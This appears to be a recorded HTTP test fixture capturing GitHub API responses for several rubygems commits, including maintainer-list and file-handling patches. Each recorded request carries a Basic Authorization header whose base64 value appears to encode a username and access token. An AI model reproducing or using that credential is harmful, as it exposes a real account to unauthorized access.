https://api.github.com/repos/rubygems/rubygems/commits/62dbdc5a06fd8d740e9ce65c8f5619d80366673d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4548' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"20778444f5bf87f60d7170227d1f4321" Last-Modified: - Wed, 06 Dec 2017 05:57:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038405' X-Github-Request-Id: - A1E6:4D95:F47B9C:1C83249:5A50E462 body: encoding: ASCII-8BIT string: '{"sha":"62dbdc5a06fd8d740e9ce65c8f5619d80366673d","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-06T05:57:15Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-06T05:57:15Z"},"message":"Auto merge of #2109 - hsbt:add-amatsuda, r=hsbt\n\nAdded amatsuda to maintainers list.\n\nWe welcome @amatsuda as rubygems maintainer.","tree":{"sha":"1e0f0479294b592e94b79686e238eb40cc8528ef","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1e0f0479294b592e94b79686e238eb40cc8528ef"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/62dbdc5a06fd8d740e9ce65c8f5619d80366673d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/62dbdc5a06fd8d740e9ce65c8f5619d80366673d","html_url":"https://github.com/rubygems/rubygems/commit/62dbdc5a06fd8d740e9ce65c8f5619d80366673d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/62dbdc5a06fd8d740e9ce65c8f5619d80366673d/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"884f44e7bc98481c81a509e7cf389e866646378d","url":"https://api.github.com/repos/rubygems/rubygems/commits/884f44e7bc98481c81a509e7cf389e866646378d","html_url":"https://github.com/rubygems/rubygems/commit/884f44e7bc98481c81a509e7cf389e866646378d"},{"sha":"91187e7cc49d8b47de33ce816fc9f447388b4035","url":"https://api.github.com/repos/rubygems/rubygems/commits/91187e7cc49d8b47de33ce816fc9f447388b4035","html_url":"https://github.com/rubygems/rubygems/commit/91187e7cc49d8b47de33ce816fc9f447388b4035"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"d7ae6bdb317b5973ec1e8cbc9bbbcf9ae1269398","filename":"MAINTAINERS.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/62dbdc5a06fd8d740e9ce65c8f5619d80366673d/MAINTAINERS.txt","raw_url":"https://github.com/rubygems/rubygems/raw/62dbdc5a06fd8d740e9ce65c8f5619d80366673d/MAINTAINERS.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/MAINTAINERS.txt?ref=62dbdc5a06fd8d740e9ce65c8f5619d80366673d","patch":"@@ -10,3 +10,4 @@ Luis Lavena (@luislavena)\n Samuel Giddins (@segiddins)\n Aaron Patterson (@tenderlove)\n Zachary Scott (@zzak)\n+Akira Matsuda (@amatsuda)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:46 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/91187e7cc49d8b47de33ce816fc9f447388b4035 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4547' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"51e0958ef13f2e23d5ac4a4fa443808c" Last-Modified: - Wed, 06 Dec 2017 03:02:41 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.053021' X-Github-Request-Id: - A1E8:4D96:971525:13A34FA:5A50E463 body: encoding: ASCII-8BIT string: '{"sha":"91187e7cc49d8b47de33ce816fc9f447388b4035","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-06T03:02:41Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-06T03:02:41Z"},"message":"Added amatsuda to maintainers list.","tree":{"sha":"1e0f0479294b592e94b79686e238eb40cc8528ef","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1e0f0479294b592e94b79686e238eb40cc8528ef"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/91187e7cc49d8b47de33ce816fc9f447388b4035","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlonXdEACgkQ+c8TQXJk\n+sJiwggAsCLr2M2RcKDRkKEbQDkLY76Ej2wWHtOTePFW4FDGUziQ+f0pZ+KgSU1h\n3LLH9xSC3RGpB3JSnRAFQNqzWEcDnpiMXgzHA2KkWL4tQvyN3gXa8k/EK0tqXiYk\nemM8BAG9nqL/x5Khs+cfBu+u2OsBYdjvSqhwMCDP1it9cZkJzF135tTQhZxoaDPX\nwBIkSw16QdE3uVDL/R1U5AA5wGvg1/QzIhf5i9d1ZlaanWtZneXPbqw6qRob+sLN\n3Nsh0Ew8wchJsPea72v7gHgh57E1rlkXdBf/CEjd2M3YY+Wd2Xz/8dLmgyfqhNQV\nIiDXgYEct0wCZt01GNsnqEyXKbKomw==\n=CqOR\n-----END PGP SIGNATURE-----","payload":"tree 1e0f0479294b592e94b79686e238eb40cc8528ef\nparent 884f44e7bc98481c81a509e7cf389e866646378d\nauthor SHIBATA Hiroshi 1512529361 +0900\ncommitter SHIBATA Hiroshi 1512529361 +0900\n\nAdded amatsuda to maintainers list.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/91187e7cc49d8b47de33ce816fc9f447388b4035","html_url":"https://github.com/rubygems/rubygems/commit/91187e7cc49d8b47de33ce816fc9f447388b4035","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/91187e7cc49d8b47de33ce816fc9f447388b4035/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"884f44e7bc98481c81a509e7cf389e866646378d","url":"https://api.github.com/repos/rubygems/rubygems/commits/884f44e7bc98481c81a509e7cf389e866646378d","html_url":"https://github.com/rubygems/rubygems/commit/884f44e7bc98481c81a509e7cf389e866646378d"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"d7ae6bdb317b5973ec1e8cbc9bbbcf9ae1269398","filename":"MAINTAINERS.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/91187e7cc49d8b47de33ce816fc9f447388b4035/MAINTAINERS.txt","raw_url":"https://github.com/rubygems/rubygems/raw/91187e7cc49d8b47de33ce816fc9f447388b4035/MAINTAINERS.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/MAINTAINERS.txt?ref=91187e7cc49d8b47de33ce816fc9f447388b4035","patch":"@@ -10,3 +10,4 @@ Luis Lavena (@luislavena)\n Samuel Giddins (@segiddins)\n Aaron Patterson (@tenderlove)\n Zachary Scott (@zzak)\n+Akira Matsuda (@amatsuda)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:47 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c0205f6956e27e147715456d8bcd1e10c9b8dd8b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4546' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"239898514af29a8763001a01c6fc2fa4" Last-Modified: - Tue, 05 Dec 2017 12:09:26 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.065008' X-Github-Request-Id: - C4BA:4D96:971528:13A3509:5A50E463 body: encoding: ASCII-8BIT string: '{"sha":"c0205f6956e27e147715456d8bcd1e10c9b8dd8b","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-12-05T12:07:47Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-12-05T12:09:26Z"},"message":"SpecificationPolicy: call it keep_only_files_and_directories","tree":{"sha":"a14553b6aebd6666ddec3818eaaa28aaa9931758","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a14553b6aebd6666ddec3818eaaa28aaa9931758"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c0205f6956e27e147715456d8bcd1e10c9b8dd8b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c0205f6956e27e147715456d8bcd1e10c9b8dd8b","html_url":"https://github.com/rubygems/rubygems/commit/c0205f6956e27e147715456d8bcd1e10c9b8dd8b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c0205f6956e27e147715456d8bcd1e10c9b8dd8b/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"361939844021b6744f2ef39d298549d9a8123f53","url":"https://api.github.com/repos/rubygems/rubygems/commits/361939844021b6744f2ef39d298549d9a8123f53","html_url":"https://github.com/rubygems/rubygems/commit/361939844021b6744f2ef39d298549d9a8123f53"}],"stats":{"total":10,"additions":5,"deletions":5},"files":[{"sha":"4d30b9da5a12cf40f7cd9189600441d6ef1f8eba","filename":"lib/rubygems/specification.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/c0205f6956e27e147715456d8bcd1e10c9b8dd8b/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c0205f6956e27e147715456d8bcd1e10c9b8dd8b/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=c0205f6956e27e147715456d8bcd1e10c9b8dd8b","patch":"@@ -2689,12 +2689,12 @@ def validate packaging = true\n end\n end\n \n- def normalize_files\n- @files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n- @test_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ def keep_only_files_and_directories\n @executables.delete_if { |x| File.directory?(File.join(@bindir, x)) }\n- @extra_rdoc_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n @extensions.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ @extra_rdoc_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ @files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n+ @test_files.delete_if { |x| File.directory?(x) && !File.symlink?(x) }\n end\n \n def validate_metadata"},{"sha":"1daa4245157f67fb7abb79e2d027b640b6ba074b","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/c0205f6956e27e147715456d8bcd1e10c9b8dd8b/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c0205f6956e27e147715456d8bcd1e10c9b8dd8b/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=c0205f6956e27e147715456d8bcd1e10c9b8dd8b","patch":"@@ -15,7 +15,7 @@ def call\n \n validate_require_paths\n \n- normalize_files\n+ keep_only_files_and_directories\n \n validate_non_files\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:47 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/884f44e7bc98481c81a509e7cf389e866646378d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4545' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c65c2d3f997867bbcbb70cfea792805e" Last-Modified: - Fri, 01 Dec 2017 01:29:57 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040362' X-Github-Request-Id: - A1EC:4D96:97152E:13A3516:5A50E463 body: encoding: ASCII-8BIT string: '{"sha":"884f44e7bc98481c81a509e7cf389e866646378d","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-01T01:29:57Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-01T01:29:57Z"},"message":"Auto merge of #2107 - hsbt:handle-non-flock-env, r=hsbt\n\nHandle environment that does not have `flock` system call.\n\nFix #2092","tree":{"sha":"3621064419bb994f5d8741f7d11a1fd675c0b4c7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3621064419bb994f5d8741f7d11a1fd675c0b4c7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/884f44e7bc98481c81a509e7cf389e866646378d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/884f44e7bc98481c81a509e7cf389e866646378d","html_url":"https://github.com/rubygems/rubygems/commit/884f44e7bc98481c81a509e7cf389e866646378d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/884f44e7bc98481c81a509e7cf389e866646378d/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"55df5dbb5d917809a27a5881ddf3c0b5543b011f","url":"https://api.github.com/repos/rubygems/rubygems/commits/55df5dbb5d917809a27a5881ddf3c0b5543b011f","html_url":"https://github.com/rubygems/rubygems/commit/55df5dbb5d917809a27a5881ddf3c0b5543b011f"},{"sha":"f92351871eec5df1281e90feb2efe707021ad3c5","url":"https://api.github.com/repos/rubygems/rubygems/commits/f92351871eec5df1281e90feb2efe707021ad3c5","html_url":"https://github.com/rubygems/rubygems/commit/f92351871eec5df1281e90feb2efe707021ad3c5"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"bf42395f25f3a756616bd8ce8c6aa89b5e344956","filename":"lib/rubygems.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/884f44e7bc98481c81a509e7cf389e866646378d/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/884f44e7bc98481c81a509e7cf389e866646378d/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=884f44e7bc98481c81a509e7cf389e866646378d","patch":"@@ -161,7 +161,7 @@ module Gem\n # these are defined in Ruby 1.8.7, hence the need for this convoluted setup.\n \n READ_BINARY_ERRORS = begin\n- read_binary_errors = [Errno::EACCES, Errno::EROFS]\n+ read_binary_errors = [Errno::EACCES, Errno::EROFS, Errno::ENOSYS]\n read_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n read_binary_errors\n end.freeze\n@@ -171,7 +171,7 @@ module Gem\n # these are defined in Ruby 1.8.7.\n \n WRITE_BINARY_ERRORS = begin\n- write_binary_errors = []\n+ write_binary_errors = [Errno::ENOSYS]\n write_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n write_binary_errors\n end.freeze"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:47 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f92351871eec5df1281e90feb2efe707021ad3c5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4544' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bc17280b95565081c6cdfd766bd5d8ea" Last-Modified: - Fri, 01 Dec 2017 00:07:43 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045601' X-Github-Request-Id: - A1EE:4D96:971532:13A351F:5A50E463 body: encoding: ASCII-8BIT string: '{"sha":"f92351871eec5df1281e90feb2efe707021ad3c5","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-01T00:07:43Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-01T00:07:43Z"},"message":"Handle environment that does not have `flock` system call.\n\n Fix #2092","tree":{"sha":"3621064419bb994f5d8741f7d11a1fd675c0b4c7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3621064419bb994f5d8741f7d11a1fd675c0b4c7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f92351871eec5df1281e90feb2efe707021ad3c5","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlognY4ACgkQ+c8TQXJk\n+sIKFwf+K3AaN3B2YrG/RNB0A6Hv+emRWy/RL8HolYakaoR4GYGytreMv9AzouT4\n6FI6Sa/xp4+Af2AZ0pKf1xjK66QGSOfm2mR+pFdlg8LSwVwO+d5F+2/duqGLmkWg\nsO67OnB8RRRN4YFZyvtE340d3y7S8jsgPaO/QvS148Taq3yDkPuA4RgDJ8RJBpyR\nZBfN21mVzJzsQ436vqNpTCpx4iJCnA9nkuM39BChsZwz0oD0Bxg8QpocldsfCVsV\nq0FK6dXu66qECmRJ8MK7AUChKeCpuX3r4aSnou2t5XhGJlQrVhsirlPEb9ipRPDJ\ntCK95Y9jPAHtutvfJkxJBCLY0aCFPA==\n=jQsH\n-----END PGP SIGNATURE-----","payload":"tree 3621064419bb994f5d8741f7d11a1fd675c0b4c7\nparent 55df5dbb5d917809a27a5881ddf3c0b5543b011f\nauthor SHIBATA Hiroshi 1512086863 +0900\ncommitter SHIBATA Hiroshi 1512086863 +0900\n\nHandle environment that does not have `flock` system call.\n\n Fix 